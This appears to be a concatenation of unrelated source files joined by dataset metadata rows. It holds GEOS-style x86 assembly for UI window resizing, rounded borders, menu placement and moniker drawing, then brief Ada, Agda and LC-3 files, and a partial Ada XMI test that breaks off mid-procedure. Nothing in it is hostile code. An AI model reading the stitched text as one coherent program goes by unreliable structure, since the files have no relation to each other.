mov si, size Rectangle ; bp:si = bubble region
endif
doResize::
;
; OK. It doesn't matter how we got here. We should have bp:si
; pointing to the region to use, with ax,bx,cx,dx as the params.
;
mov ax, mask WPF_ABS ; resize absolute (i.e. move)
push ax
call WinResize
;
; Clean up after ourselves.
;
call MemFree
pop si ; *ds:si = base win
jmp afterMoveResize
notTabbed:
endif ;DIALOGS_WITH_FOLDER_TABS or BUBBLE_DIALOGS
if DRAW_SHADOWS_ON_BW_GADGETS or _ROUND_THICK_DIALOGS
push si
mov bp, ds:[si]
add bp, ds:[bp].Vis_offset ; ds:bp = VisInstance
mov di, ds:[bp].VCI_window ; di <= window handle
tst di
pop si ; restore stack for error handling
jz afterMoveResize ; if no window, done
push si ; save it again
; ds:si must still point to object for VisGetBounds
clr cl ; normal bounds
call VisGetBounds
dec cx ; use screen pixel bounds
dec dx
if _ROUND_THICK_DIALOGS
; ds:si must still point to object for this procedure
call OpenWinShouldHaveRoundBorder
endif ;_ROUND_THICK_DIALOGS
mov si, mask WPF_ABS ; resize absolute (i.e. move)
push si ; must be top item on stack!
; removed by WinResize
if _ROUND_THICK_DIALOGS
jnc rectWindow ; not a round window!
endif ;_ROUND_THICK_DIALOGS
; ds:bp still is VisInstance
if DRAW_SHADOWS_ON_BW_GADGETS
test ds:[bp].OLWI_moreFixedAttr, mask OWMFA_CUSTOM_WINDOW
jnz rectWindow ;custom window, branch
call OpenCheckIfBW
jnc rectWindow
endif ;DRAW_SHADOWS_ON_BW_GADGETS
NOFXIP< mov bp, cs >
FXIP < push bx, ax >
FXIP < mov bx, handle RegionResourceXIP >
FXIP < call MemLock >
FXIP < mov bp, ax >
FXIP < pop bx, ax >
mov si, offset windowRegionBW
NOFXIP < jmp short resizeEm >
FXIP < jmp short resizeEm2 >
rectWindow:
clrdw bpsi ; rectangular region
resizeEm::
call WinResize ; Pops one word off stack
pop si
FXIP < jmp fin >
resizeEm2:
FXIP < call WinResize >
FXIP < push bx >
FXIP < mov bx, handle RegionResourceXIP >
FXIP < call MemUnlock >
FXIP < pop bx >
FXIP < pop si >
fin::
else
mov ax, MSG_VIS_MOVE_RESIZE_WIN
call WinCommon_ObjCallSuperNoLock_OLWinClass_Far
endif ;DRAW_SHADOWS_ON_BW_GADGETS or _ROUND_THICK_DIALOGS
afterMoveResize::
if PLACE_EXPRESS_MENU_ON_PRIMARY
;
; Then, update the express tool area location, to match new window
; location & size.
;
call WinCommon_DerefVisSpec_DI
CUAS < cmp ds:[di].OLWI_type, MOWT_PRIMARY_WINDOW >
jne afterExpressToolArea
call OLBaseWinUpdateExpressToolArea
afterExpressToolArea:
endif ; PLACE_EXPRESS_MENU_ON_PRIMARY
ret
OpenWinMoveResizeWin endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
OpenWinTitleButtonRoundedCorner
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Check if a given title button should have a round corner
in this particular window. Assumes that the button is
in the title bar.
CALLED BY: MSG_OL_WIN_SHOULD_TITLE_BUTTON_HAVE_ROUNDED_CORNER
PASS: *ds:si = OLWinClass object
ds:di = OLWinClass instance data
ds:bx = OLWinClass object (same as *ds:si)
es = segment of OLWinClass
ax = message #
cx = button left position
dx = button right position
RETURN: carry - set if button should have a round corner
ax - if carry is set:
true if top-left corner should be round, false
if top-right corner should be round
if carry is clear:
destroyed
DESTROYED: ax (if carry is clear), cx, dx, bp
SIDE EFFECTS: None
PSEUDO CODE/STRATEGY:
Assumes B&W - Stylus UI.
Uses the window edge (+ thick border) to determine if this
button is on the left or right edge.
REVISION HISTORY:
Name Date Description
---- ---- -----------
JimG 4/ 4/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if _ROUND_THICK_DIALOGS
OpenWinTitleButtonRoundedCorner method dynamic OLWinClass,
MSG_OL_WIN_SHOULD_TITLE_BUTTON_HAVE_ROUNDED_CORNER
.enter
; Check if window has a round border first of all.
call OpenWinShouldHaveRoundBorder
jnc done ; carry clear
; OK - window has round border.
push cx, dx
; assume ds:di is still instance ptr
mov bp, di ; ds:bp = ptr to instance data
; Get inside border (the titleBarBounds include the sys icons,
; but here we need the real boundaries of the window to check
; if this button is on the edge).
call OpenWinGetHeaderBounds
add ax, _ROUND_THICK_DIALOG_BORDER
sub cx, _ROUND_THICK_DIALOG_BORDER
mov dx, ax
pop ax, bx
; ax = button left pos, bx = button right pos
; dx = left inside edge of window border
; cx = right inside edge of window border
cmp ax, dx
jne notLeftEdge
mov ax, TRUE ; left corner!
jmp hasRoundCorner
notLeftEdge:
cmp bx, cx
clc
jne done ; ignores C flag
mov ax, FALSE ; right corner!
hasRoundCorner:
stc
done:
.leave
ret
OpenWinTitleButtonRoundedCorner endm
endif ;_ROUND_THICK_DIALOGS
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
OpenWinShouldHaveRoundBorderFar
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Checks appropriate instance data flags and returns if
this window should have round thick windows.
(Basically just calls OpenWinShouldHaveRoundBorder.)
CALLED BY: Various internal functions.
PASS: *ds:si - object
RETURN: carry - set if should have round thick windows.
DESTROYED: nothing
SIDE EFFECTS: none.
PSEUDO CODE/STRATEGY:
Window must be a popup, not a menu, not have a custom window,
and must not be resizable. ASSUME B&W - Stylus UI.
REVISION HISTORY:
Name Date Description
---- ---- -----------
JimG 5/10/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if _ROUND_THICK_DIALOGS
OpenWinShouldHaveRoundBorderFar proc far
call OpenWinShouldHaveRoundBorder
ret
OpenWinShouldHaveRoundBorderFar endp
endif ;_ROUND_THICK_DIALOGS
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
OpenWinShouldHaveRoundBorder
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Checks appropriate instance data flags and returns if
this window should have round thick windows.
CALLED BY: Various internal functions.
PASS: *ds:si - object
RETURN: carry - set if should have round thick windows.
DESTROYED: nothing
SIDE EFFECTS: none.
PSEUDO CODE/STRATEGY:
Window must be a popup, not a menu, not have a custom window,
and must not be resizable. ASSUME B&W - Stylus UI.
REVISION HISTORY:
Name Date Description
---- ---- -----------
JimG 4/ 4/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if _ROUND_THICK_DIALOGS
OpenWinShouldHaveRoundBorder proc near
uses di
.enter
call WinCommon_DerefVisSpec_DI
; NOTE: test clears carry flag.
test ds:[di].OLWI_fixedAttr, mask OWFA_IS_MENU
jnz done ; Is a menu, skip this
test ds:[di].OLWI_attrs, mask OWA_RESIZABLE
jnz done ; Is resizable, skip this
test ds:[di].OLWI_moreFixedAttr, mask OWMFA_CUSTOM_WINDOW
jnz done ; Has custom window, skip this
test ds:[di].OLWI_moreFixedAttr, mask OWMFA_IS_POPUP
jz checkForNonMaxPrimary ; Not a popup, skip this
setDone:
stc ; Should be round.. set carry
done:
.leave
ret ; << RETURN
; We know that this is NOT a menu, NOT resizable, and does NOT have
; a custom window. But it is also NOT a popup. So check to see if
; this is a primary, and if it is not maximizable. If so, this is
; like a desk accessory and should have a round border.
checkForNonMaxPrimary:
cmp ds:[di].OLWI_type, MOWT_PRIMARY_WINDOW
jne done ; Not a primary.. done
test ds:[di].OLWI_attrs, mask OWA_MAXIMIZABLE
jnz done ; Maximizable.. done
; Fits requirements.. set the carry and exit
jmp short setDone
OpenWinShouldHaveRoundBorder endp
endif ;_ROUND_THICK_DIALOGS
COMMENT @----------------------------------------------------------------------
FUNCTION: OpenWinCheckVisibleConstraints
DESCRIPTION: This procedure ensure's that a window's visiblility
constraints are met as it is opened or moved on the screen.
CALLED BY: OpenWinOpenWin, OpenWinMoveResizeWin
PASS: *ds:si -- window
RETURN: nothing
DESTROYED: ?
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Eric 11/89 initial version
------------------------------------------------------------------------------@
.assert (offset WPSF_CONSTRAIN_TYPE) lt 8
.assert (WCT_NONE eq 0)
OpenWinCheckVisibleConstraints proc far
class OLWinClass
call WinCommon_DerefVisSpec_DI
mov cl, byte ptr ds:[di].OLWI_winPosSizeFlags ;get LOW byte
and cl, mask WPSF_CONSTRAIN_TYPE
jz done ;skip if WCT_NONE....
cmp cl, (WCT_KEEP_PARTIALLY_VISIBLE shl offset WPSF_CONSTRAIN_TYPE)
jne checkOther ;skip if not...
;want to keep window partially visible. This means different things
;depending on the specific UI:
mov cx, WIN_VISIBLE_MARGIN ;default margins for most UIs
mov dx, WIN_VISIBLE_MARGIN
;Motif/CUA: if window has a title bar, make sure it stays visible
CUAS < test ds:[di].OLWI_attrs, mask OWA_TITLED >
CUAS < jz keepThisMarginVisible >
CUAS < call EnsureTitleBarInParentWin >
CUAS < jmp done >
checkOther:
;must be WCT_KEEP_VISIBLE or WCT_KEEP_VISIBLE_WITH_MARGIN
cmp cl, (WCT_KEEP_VISIBLE shl offset WPSF_CONSTRAIN_TYPE)
pushf
call VisGetSize ;get size of this window (cx, dx)
popf
je short keepThisMarginVisible
add cx, WIN_VISIBLE_MARGIN
add dx, WIN_VISIBLE_MARGIN
keepThisMarginVisible:
call EnsureWindowInParentWin
testForMenuCase:
;if this window is a system menu (Control or Express menu), and it
;is close enough to the bottom of the screen that it has been pushed
;upwards to cover up the menu button, then push it upwards some more,
;until it is completely over the menu button. This allows double-
;clicking to continue to work.
call OpenWinCheckMenuWinVisibilityConstraints
done:
ret
OpenWinCheckVisibleConstraints endp
COMMENT @----------------------------------------------------------------------
FUNCTION: OpenWinCheckMenuWinVisibilityConstraints
DESCRIPTION: This procedure is called after we have adjusted a menu window
so that it is on-screen. If the menu is now obscuring the
menu button which opens it, we will push the menu above
the menu button.
CALLED BY: OpenWinCheckVisibleConstraints
PASS: *ds:si = menu window
RETURN: ds, si = same
DESTROYED: ?
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Eric 10/90 initial version
Chris 4/91 Updated for new graphics, bounds conventions
Chris 1/20/93 Rewritten to work for all horizontal and
vertical menus.
------------------------------------------------------------------------------@
OpenWinCheckMenuWinVisibilityConstraints proc near
uses si, di
.enter
clr cx ;default bounds check in X
dec ch ;default as submenu
mov ax, TEMP_POPUP_OPENING_TO_RIGHT ;keep whether opening to right
call ObjVarFindData ; if so, go deal with it.
jc doit
clr ch ;not opening to right
call WinCommon_DerefVisSpec_DI
mov cl, ds:[di].VCI_geoAttrs ;use orientation for check
cmp ds:[di].OLWI_type, MOWT_SYSTEM_MENU ;menus are always a
je doit ; vertical check
cmp ds:[di].OLWI_type, MOWT_MENU ;other types of
jne exit ; windows, exit
doit:
;let's make sure this is a menu before we go screwing with instance data
EC < push di >
EC < mov bx, segment OLMenuWinClass >
EC < mov es, bx >
EC < mov di, offset OLMenuWinClass >
EC < call ObjIsObjectInClass >
EC < ERROR_NC OL_ERROR ;die if not correct class >
EC < pop di >
;now, dip into the OLPopupWin instance data for this object,
;and grab the handle of the menu button
; *ds:si= menu window instance data
; ds:di = menu window VisSpec instance data
call WinCommon_DerefVisSpec_DI
.warn -private
mov di, ds:[di].OLPWI_button ;set *ds:di = menu button
.warn @private
tst di ;is there a button?
jz exit ;skip if not...
xchg di, si ;menu in *ds:di, button in *ds:si
;
; Another hack for ISUI: if the menu is not pressed, then don't worry
; about overlapping the button.
;
ISU < push di >
ISU < call WinCommon_DerefVisSpec_DI >
ISU < test ds:[di].OLBI_specState, mask OLBSS_DEPRESSED >
ISU < pop di >
ISU < jz exit >
;since we know the button is in the same ObjectBlock, and we've
;already violated OOP rules, let's go look at its instance data
EC < push di >
EC < mov bx, segment OLMenuButtonClass >
EC < mov es, bx >
EC < mov di, offset OLMenuButtonClass >
EC < call ObjIsObjectInClass >
EC < ERROR_NC OL_ERROR ;die if not correct class >
EC < pop di >
;
; cl holds orientation as direction to check, ch non-zero if window is
; opening to the right.
;
clr bx ;assume not vertical
test cl, mask VCGA_ORIENT_CHILDREN_VERTICALLY
jz 10$ ;good assumption, go celebrate
mov bl, AMO_VERTICAL ;else set this baby
10$:
clr cl ;cx now non-zero if submenu.
call AvoidMenuOverlap ;check the overlap situation
jnc exit ;nothing strange happened, done
call TryAgainInOtherDirection ;try again
jnc exit ;OK, done
;still here? Then:
clr ch ;give up on submenu limitations
call TryAgainInOtherDirection ;and try one last time.
jnc exit
call KeepMenuOnscreen ;total failure, at least keep
; onscreen.
exit:
.leave
ret
OpenWinCheckMenuWinVisibilityConstraints endp
TryAgainInOtherDirection proc near
;
; Menu was moved from under the button to the right, or vice versa.
; Force it back onscreen and make another pass to avoid menu overlap.
;
call KeepMenuOnscreen
xor bl, AMO_VERTICAL ;else we've switched directions
call AvoidMenuOverlap ;make sure things work in the other dir
ret
TryAgainInOtherDirection endp
KeepMenuOnscreen proc near
xchg si, di ;*ds:si -- menu
push bx, di, cx
EC < call ECCheckLMemObject >
call OpenGetParentWinSize
if TOOL_AREA_IS_TASK_BAR
; If taskbar is at the bottom of the screen, subtract off the
; height of the tool area (taskbar) from parent window size so
; maximized windows don't extend below the taskbar.
call GetTaskBarSizeAdjustment
sub dx, di ; subtract off taskbar adjustment
endif ; TOOL_AREA_IS_TASK_BAR
movdw axbp, cxdx ;put size values in weird places
call MoveWindowToKeepOnscreen
pop bx, di, cx
xchg si, di
ret
KeepMenuOnscreen endp
WinCommon ends
WinCommon segment resource
COMMENT @----------------------------------------------------------------------
METHOD: OLWinGetHeaderTitleBounds --
MSG_OL_WIN_GET_HEADER_TITLE_BOUNDS for OLWinClass
DESCRIPTION: Returns widths of icons left and right of title bar.
PASS: *ds:si - instance data
ds:di - instance data
es - segment of MetaClass
ax - MSG_OL_WIN_GET_HEADER_TITLE_BOUNDS
RETURN: ax - width of icons left of title
bp - width of icons right of title
cx, dx - preserved
ALLOWED TO DESTROY:
bx, si, di, ds, es
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
chris 2/ 7/92 Initial Version
------------------------------------------------------------------------------@
OLWinGetHeaderTitleBounds method dynamic OLWinClass, \
MSG_OL_WIN_GET_HEADER_TITLE_BOUNDS
uses cx, dx
.enter
if _ISUI
mov cx, 0 ;in case no sys menu button
call CheckSysMenuButton
jnc 5$
endif
call OpenWinGetSysMenuButtonWidth ;cx = width
call OpenCheckIfCGA
jnc 5$ ;CHECK BW FOR CUA LOOK
dec cx ;needed for correct menu bar
5$: ; position now (cbh 2/15/92)
mov ax, cx ;ax = left icon width
; (system menu icon only,
; OLBaseWin adds in express
; menu)
; (no overlap btwn icon and
; title bar, OLBaseWin handles
; overlap if there is express
; menu)
;
; account for title bar left group
;
mov bp, offset OLWI_titleBarLeftGroup
call OpenWinGetTitleBarGroupSize ; cx = width, dx = height
dec cx ; (overlap)
add ax, cx
;haveLeftWidth:
clr bp ; Start with no buttons on right
call OpenCheckIfKeyboardOnly ; Check for no keyboard
jc haveRightWidth ; if no keyboard, no gadgets to
; right.
; Add in width of minimize & maximize/restore buttons, if present.
;
call OpenWinCheckIfMinMaxRestoreControls
jnc afterAdjustments
call WinCommon_DerefVisSpec_DI
test ds:[di].OLWI_attrs, mask OWA_MINIMIZABLE
jz afterMinimizable
add bp, CUAS_WIN_ICON_WIDTH-1
afterMinimizable:
test ds:[di].OLWI_specState, mask OLWSS_MAXIMIZED
jnz maximized
test ds:[di].OLWI_attrs, mask OWA_MAXIMIZABLE
jz afterMaxRestore
haveMaxOrRestoreIcon:
add bp, CUAS_WIN_ICON_WIDTH-1
jmp short afterMaxRestore
maximized:
test ds:[di].OLWI_fixedAttr, mask OWFA_RESTORABLE
jnz haveMaxOrRestoreIcon
afterMaxRestore:
afterAdjustments:
; Make minor spacing adjustment for color
;
call OpenCheckIfBW
jc 15$ ;skip if B/W..
tst bp ; don't dec below zero
jz 15$
dec bp ; Else make adjustment to right
15$: ; icon width, who knows why
haveRightWidth:
;
; account for title bar right group
;
push bp ; save current right width
mov bp, offset OLWI_titleBarRightGroup
call OpenWinGetTitleBarGroupSize ; cx = width, dx = height
dec cx ; overlap
pop bp ; restore current right width
add bp, cx
.leave
ret
OLWinGetHeaderTitleBounds endm
WinCommon ends
WinCommon segment resource
COMMENT @----------------------------------------------------------------------
METHOD: OLWinGetTitleBarHeight --
MSG_OL_WIN_GET_TITLE_BAR_HEIGHT for OLWinClass
DESCRIPTION: Returns height of title bar
PASS: *ds:si - instance data
ds:di - instance data
es - segment of MetaClass
ax - MSG_OL_WIN_GET_TITLE_BAR_HEIGHT
RETURN: dx - height to title bar
ALLOWED TO DESTROY:
bx, si, di, ds, es
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
brianc 9/26/92 Initial Version
------------------------------------------------------------------------------@
OLWinGetTitleBarHeight method dynamic OLWinClass, \
MSG_OL_WIN_GET_TITLE_BAR_HEIGHT
mov bp, di ; ds:bp - instance data
call OpenWinGetHeaderBounds ; (ax, bx, cx, dx) = bounds
sub dx, bx ; dx = height
if _ISUI
call OpenCheckIfBW ; that's all for BW
jc done
sub dx, 4 ; margins = 2 above / 2 below
else
call OpenCheckIfBW ; that's all for BW
jc done
dec dx ; small adjustment for color
dec dx
endif
done:
ret
OLWinGetTitleBarHeight endm
OpenWinGetHeaderBoundsFar proc far
call OpenWinGetHeaderBounds
ret
OpenWinGetHeaderBoundsFar endp
WinCommon ends
WinCommon segment resource
COMMENT @----------------------------------------------------------------------
ROUTINE: OpenWinDrawMoniker
SYNOPSIS: Draws complete moniker, including long term moniker, unless
we're running in GCM mode.
CALLED BY: OpenWinDrawHeaderTitle
PASS:
*ds:si - instance data
cl - how to draw moniker: DrawMonikerFlags
ss:bp - DrawMonikerArgs
RETURN:
bp - preserved
ax, bx - position the moniker was drawn at
DESTROYED:
cx, dx, di, es
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Chris 2/27/90 Initial version
------------------------------------------------------------------------------@
OpenWinDrawMoniker proc near
class OLWinClass
segmov es, ds
EC< call GenCheckGenAssumption ; Make sure gen data exists >
;
; check if we're a base window
;
call WinCommon_DerefVisSpec_DI
CUAS < cmp ds:[di].OLWI_type, MOWT_PRIMARY_WINDOW >
OLS < cmp ds:[di].OLWI_type, OLWT_BASE_WINDOW >
jne normalDraw ; is not base window, do normal
; stuff
;
; check if this base window has a long term moniker, if so
; if both normal and long term monikers don't fit, just draw long
; term moniker
;
if _ISUI
call WinCommon_DerefGen_DI
.warn -private
mov di, ds:[di].GPI_longTermMoniker
.warn @private
tst di
jz noLongTerm
push ax, bx
mov ax, HINT_SHOW_ENTIRE_MONIKER
call ObjVarFindData ; C set if found
pop ax, bx
jc noLongTerm
push ax, cx, dx, es
push bp
mov bp, ss:[bp].DMA_gState
if _ISUI
call getWinMonikerSize ; cx <- width
else
call SpecGetGenMonikerSize ; cx = width
endif
push cx
segmov es, ds ; *es:di = long term moniker
clr ax ; use font height from gstate
call VisGetMonikerSize ; cx = width of long term mkr
pop ax ; ax = moniker width
add ax, cx ; ax = total moniker width
mov di, bp ; di = gstate
call GetDividerStrLen ; dx = divider len
add ax, dx ; ax = complete len
pop bp
cmp ax, ss:[bp].DMA_xMaximum
pop ax, cx, dx, es
ja drawLongTerm ; too long, just draw long term
noLongTerm:
endif
;
; check if we are on a tiny width screen
;
push cx, dx
call OpenGetScreenDimensions ; cx, dx = dimensions
cmp cx, TINY_SCREEN_WIDTH_THRESHOLD
pop cx, dx
ja normalDraw ; not tiny screen, do normal
; stuff
;
; on horizontally tiny screens, just draw long term moniker, if any
;
drawLongTerm::
call WinCommon_DerefGen_DI
.warn -private
mov bx, ds:[di].GPI_longTermMoniker ; *es:bx = long-term moniker
.warn @private
tst bx
jz normalDraw ; no long-term, do normal stuff
if _ISUI
call drawMoniker
else
call SpecDrawMoniker ; else, just draw it
endif
jmp exit
normalDraw:
push cx, bp
mov bx, ds:[si]
add bx, ds:[bx].Gen_offset ; ds:bx = GenInstance
mov bx, ds:[bx].GI_visMoniker ;*ds:bx = visMoniker
if _ISUI
call drawMoniker
else
call SpecDrawMoniker ;draw the VisMoniker, position in ax,bx
endif
pop cx, bp
;
; Exit if we're not a base window.
;
call WinCommon_DerefVisSpec_DI
CUAS < cmp ds:[di].OLWI_type, MOWT_PRIMARY_WINDOW >
OLS < cmp ds:[di].OLWI_type, OLWT_BASE_WINDOW >
jne exit ;not a primary, we're done
if _GCM
;
; Exit if using GCM headers
;
test ds:[di].OLWI_fixedAttr, mask OWFA_GCM_TITLED
jnz exit
endif
;
; Else move past the drawn vis moniker and draw the long term moniker.
;
push cx ;save moniker flags
push bp ;save struct pointer
push ax
mov bp, ss:[bp].DMA_gState ;get gstate in bp
if _ISUI
call getWinMonikerSize ;cx <- moniker width
else
call SpecGetGenMonikerSize ;get moniker width in cx
endif
pop ax
pop bp ;restore struct pointer
add ax, cx ;add width to left edge
call WinCommon_DerefGen_DI
.warn -private
mov di, ds:[di].GPI_longTermMoniker
.warn @private
tst di ;is there a long term moniker?
jz drawLongTermMoniker ;no, let's "draw" a blank moniker
; (makes code simpler)
mov dx, 0 ;in case no moniker
push di
call WinCommon_DerefGen_DI
tst ds:[di].GI_visMoniker
pop di
jz drawLongTermMoniker ;no moniker, skip divider
push di ;else save ptr to the long term moniker
mov di, ss:[bp].DMA_gState ;gstate in di
call GetDividerStrLen ;length of divider in dx
add dx, cx ;add length of gen moniker
cmp ss:[bp].DMA_xMaximum, dx ;any room left for the divider?
jb afterDivider ;no, skip it
;
; Draw the separator between the gen and long-term monikers.
;
push ds, si
clr cx ;draw all characters
SBCS < segmov ds, cs ;ds:si points to middle string >
SBCS < mov si, offset longTermStr >
DBCS < segmov ds, <segment resLongTermStr>, si >
DBCS < mov si, offset resLongTermStr >
FXIP < call SysCopyToStackDSSI >
call GrDrawText
FXIP < call SysRemoveFromStack >
DoPop si, ds
afterDivider:
pop di ;restore pointer to long term moniker
drawLongTermMoniker:
mov bx, di ;pass long term moniker in es:bx
pop cx ;pop draw moniker flags
add ss:[bp].DMA_xInset, dx ;add gen and div size to our x inset
sub ss:[bp].DMA_xMaximum, dx ;subtract from size to clip
js exit ;no room left, exit
segmov es, ds ;have es:bx point to our long term mkr
if _ISUI
call drawMoniker
else
call SpecDrawMoniker ;draw the moniker
endif
exit:
ret
if _ISUI
;
; this is kinda gross, but I can't figure out any way
; to get the moniker code to use bold just for the title bar
; when calculating the width.
;
getWinMonikerSize:
push ax, dx, di
push si
mov di, bp ;di <- GState
mov ax, mask TS_BOLD ;al <- set bold
call GrSetTextStyle
mov si, ds:[si]
add si, ds:[si].Gen_offset
mov si, ds:[si].GI_visMoniker
mov si, ds:[si] ;ds:si <- VisMoniker
test ds:[si].VM_type, mask VMT_GSTRING
jnz notText
add si, offset VM_data.VMT_text ;ds:si <- moniker text
call GrTextWidth
mov cx, dx ;cx <- width
mov ax, (mask TS_BOLD) shl 8 ;ah <- reset bold
call GrSetTextStyle
pop si
gotSize:
pop ax, dx, di
retn
notText:
pop si
call SpecGetGenMonikerSize ;get moniker width in cx
jmp gotSize
drawMoniker:
push ax, di
mov ax, mask TS_BOLD ;al <- set bold
mov di, ss:[bp].DMA_gState
call GrSetTextStyle
pop ax, di
call SpecDrawMoniker
push ax
mov ax, (mask TS_BOLD) shl 8 ;ah <- reset bold
mov di, ss:[bp].DMA_gState
call GrSetTextStyle
pop ax
retn
endif
OpenWinDrawMoniker endp
SBCS <longTermStr db " - ",0 >
WinCommon ends
|
meassure_velocity.ads | oysteinlondal/Inverted-Pendulum | 0 | 28625 | --with Imu.Library; use Imu.Library
with Exception_Declarations; use Exception_Declarations;
package Meassure_Velocity is
procedure Retrieve_Velocity (Velocity_Z : out Float);
private
X_Coordinate : Float;
Y_Coordinate : Float;
Z_Coordinate : Float;
end Meassure_Velocity;
|
UniDB/Morph/Unit.agda | skeuchel/unidb-agda | 0 | 8326 |
module UniDB.Morph.Unit where
open import UniDB.Spec
--------------------------------------------------------------------------------
data Unit : MOR where
unit : {γ : Dom} → Unit γ γ
instance
iUpUnit : Up Unit
_↑₁ {{iUpUnit}} unit = unit
_↑_ {{iUpUnit}} unit δ = unit
↑-zero {{iUpUnit}} unit = refl
↑-suc {{iUpUnit}} unit δ = refl
iIdmUnit : Idm Unit
idm {{iIdmUnit}} _ = unit
iCompUnit : Comp Unit
_⊙_ {{iCompUnit}} unit unit = unit
iUpIdmUnit : UpIdm Unit
idm-↑₁ {{iUpIdmUnit}} = refl
module _ {T : STX} {{vrT : Vr T}} where
instance
iLkUnit : Lk T Unit
lk {{iLkUnit}} unit = vr {T = T}
iLkUpUnit : {{wkT : Wk T}} {{wkVrT : WkVr T}} → LkUp T Unit
lk-↑₁-zero {{iLkUpUnit}} unit = refl
lk-↑₁-suc {{iLkUpUnit}} unit i = sym (wk₁-vr {T = T} i)
iLkIdmUnit : LkIdm T Unit
lk-idm {{iLkIdmUnit}} i = refl
--------------------------------------------------------------------------------
|
klc3-manual/examples/zjui_ece220_fa18/mp3/stack_alloc_.asm | liuzikai/klc3 | 0 | 27369 | <filename>klc3-manual/examples/zjui_ece220_fa18/mp3/stack_alloc_.asm
.ORIG x7E00
.BLKW x400 ; KLC3: UNINITIALIZED
.END
|
regtests/gen-artifacts-xmi-tests.adb | My-Colaborations/dynamo | 0 | 221 | -----------------------------------------------------------------------
-- gen-xmi-tests -- Tests for xmi
-- Copyright (C) 2012 <NAME>
-- Written by <NAME> (<EMAIL>)
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
with Ada.Strings.Unbounded;
with Util.Test_Caller;
with Gen.Configs;
with Gen.Generator;
package body Gen.Artifacts.XMI.Tests is
use Ada.Strings.Unbounded;
package Caller is new Util.Test_Caller (Test, "Gen.XMI");
procedure Add_Tests (Suite : in Util.Tests.Access_Test_Suite) is
begin
Caller.Add_Test (Suite, "Test Gen.XMI.Read_UML_Configuration",
Test_Read_XMI'Access);
Caller.Add_Test (Suite, "Test Gen.XMI.Find_Element",
Test_Find_Element'Access);
Caller.Add_Test (Suite, "Test Gen.XMI.Find_Element",
Test_Find_Tag_Definition'Access);
end Add_Tests;
-- ------------------------------
-- Test reading the XMI files defines in the Dynamo UML configuration repository.
-- ------------------------------
procedure Test_Read_XMI (T : in out Test) is
procedure Check (Namespace : in String;
Name : in String;
Id : in String);
A : Artifact;
G : Gen.Generator.Handler;
C : constant String := Util.Tests.Get_Parameter ("config_dir", "config");
use type Gen.Model.XMI.Model_Element_Access;
procedure Check (Namespace : in String;
Name : in String;
Id : in String) is
Empty : Gen.Model.XMI.Model_Map.Map;
XMI_Id : constant Unbounded_String := To_Unbounded_String (Namespace & "#" & Id);
N : constant Gen.Model.XMI.Model_Element_Access := Gen.Model.XMI.Find (A.Nodes,
Empty,
XMI_Id);
begin
T.Assert (N /= null, "Cannot find UML element " & To_String (XMI_Id));
Util.Tests.Assert_Equals (T, Name, To_String (N.Name), "Invalid element name");
end Check;
begin
Gen.Generator.Initialize (G, Ada.Strings.Unbounded.To_Unbounded_String (C), False);
A.Read_Model (G.Get_Parameter (Gen.Configs.GEN_UML_DIR) & "/Dynamo.xmi", G);
-- ArgoUML Integer DataType
Check ("default-uml14.xmi", "Integer",
"-84-17--56-5-43645a83:11466542d86:-8000:000000000000087C");
-- ArgoUML String DataType
Check ("default-uml14.xmi", "String",
"-84-17--56-5-43645a83:11466542d86:-8000:000000000000087E");
-- ArgoUML documentation TagDefinition
Check ("default-uml14.xmi", "documentation",
".:000000000000087C");
-- ArgoUML type Stereotype
Check ("default-uml14.xmi", "type",
".:0000000000000842");
-- Persistence Table Stereotype
Check ("Dynamo.xmi", "Table",
"127-0-1-1--44304ba0:139c0f2a59c:-8000:0000000000001D4F");
Check ("Dynamo.xmi", "PK",
"127-0-1-1--44304ba0:139c0f2a59c:-8000:0000000000001D50");
Check ("Dynamo.xmi", "FK",
"127-0-1-1--44304ba0:139c0f2a59c:-8000:0000000000001F70");
Check ("Dynamo.xmi", "Bean",
"127-0-1-1--44304ba0:139c0f2a59c:-8000:0000000000001F72");
end Test_Read_XMI;
-- ------------------------------
-- Test searching an XMI element by using a qualified name.
-- ------------------------------
procedure Test_Find_Element (T : in out Test) is
A : Artifact;
